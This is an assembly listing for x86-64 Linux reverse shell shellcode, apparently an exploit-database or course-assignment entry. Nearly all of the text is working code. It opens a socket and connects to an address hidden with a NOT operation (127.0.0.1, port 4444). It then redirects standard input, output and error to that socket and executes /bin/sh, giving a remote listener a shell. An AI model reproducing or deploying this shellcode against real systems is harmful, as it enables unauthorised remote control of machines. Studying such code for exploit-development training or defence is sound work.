Linux - Reverse Shell Shellcode (66 bytes)

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;Copyright (c) 2017 Robert L. Taylor

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;
; For a detailed explanation of this shellcode see my blog post: 
; http://a41l4.blogspot.ca/2017/02/assignment-2b.html

global _start
section .text
_start:
; Socket
	push 41
	pop rax
	push 2
	pop rdi
	push 1
	pop rsi
	cdq
	syscall
; Connect
	xchg edi, eax
	push rdx
	mov rbx, 0xfeffff80a3eefffd ; not encoded 0x0100007f5c110002
	not rbx
	push rbx
	mov al, 42
	push rsp
	pop rsi
	mov dl, 16
	syscall
; Dup 2
	push 3
	pop rsi
dup2loop:	
	mov al, 33
	dec esi
        syscall
	loopnz dup2loop
; Execve
	; rax and rsi are zero from the result of the last dup2 syscall and loop
        push rax ; zero terminator for the following string that we are pushing

        mov rbx, '/bin//sh'
        push rbx

        ; store /bin//sh address in RDI
	push rsp
	pop rdi
	
	cdq ; zero rdx

	mov al, 59
        syscall